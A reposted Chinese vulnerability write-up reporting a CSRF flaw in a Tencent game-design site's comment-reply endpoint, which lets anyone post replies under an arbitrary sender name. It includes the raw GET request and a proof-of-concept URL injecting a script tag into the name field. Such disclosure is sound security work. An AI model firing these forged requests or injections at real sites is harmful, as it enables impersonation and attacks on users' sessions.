腾讯游戏设计(tgideas.qq.com)回复处CSRF任意换马甲-白红宇

腾讯游戏设计(tgideas.qq.com)回复处CSRF任意换马甲

阅读量：6359 次

发布时间：2019-06-23

本文共 825 字，大约阅读时间需要 2 分钟。

http://tgideas.qq.com

GET /cgi-bin/comments/sendreply.cgi?iActivId=1&iSubActivId=215722&iParentId=2156&sSenderName=y0umer&iSenderZone=0&sContent=csrftest HTTP/1.1

Host: apps.game.qq.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:22.0) Gecko/20100101 Firefox/22.0

Accept: */*

Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Referer: http://tgideas.qq.com/webplat/info/news_version3/804/808/810/m579/201307/215722.shtml

Cookie:

Connection: keep-alive

iActivId

iParentId

2156

iSenderZone

iSubActivId

215722

sContent

csrftest

sSenderName

y0umer

一个牛逼的get，即可导致回复评论。。

好像还能随意换马甲:

Poc:

http://apps.game.qq.com/cgi-bin/comments/sendreply.cgi?iActivId=1&iSubActivId=215722&iParentId=2156&sSenderName=%3Cscript%3Ealert%281%29%3C/script%3E&iSenderZone=0&sContent=csrftest

回复get? 好歹也验证下来源吧..

转载地址：http://ksfma.baihongyu.com/

你可能感兴趣的文章

Windows Server 2012 R2 Active Directory（活动目录）实验一

查看>>

android viewpager 无限左右滑动

查看>>

linux下SSH远程连接服务慢解决方案

查看>>

利用mic visual studio 2010 编译器执行wincap获取网络适配器的代码

查看>>

HTML

查看>>

CENTOS7下编译安装PHP-5.4以及配置phpMyAdmin

查看>>

磁盘显示无法访问拒绝访问，里面的资料怎样找到

查看>>

Java之品优购课程讲义_day07（5）

查看>>

Java的新项目学成在线笔记-day3(八）

查看>>

路由简单的实验

查看>>

好程序员web前端教程分享js reduce方法使用教程

查看>>

零基础学习大数据Hadoop需要什么准备？Hadoop如何发展起来的？

查看>>

前端程序员需要具备的几个软实力，你具备了吗

MySql中添加用户,新建数据库,用户授权,删除用户,修改密码

查看>>

雨巷-戴望舒

查看>>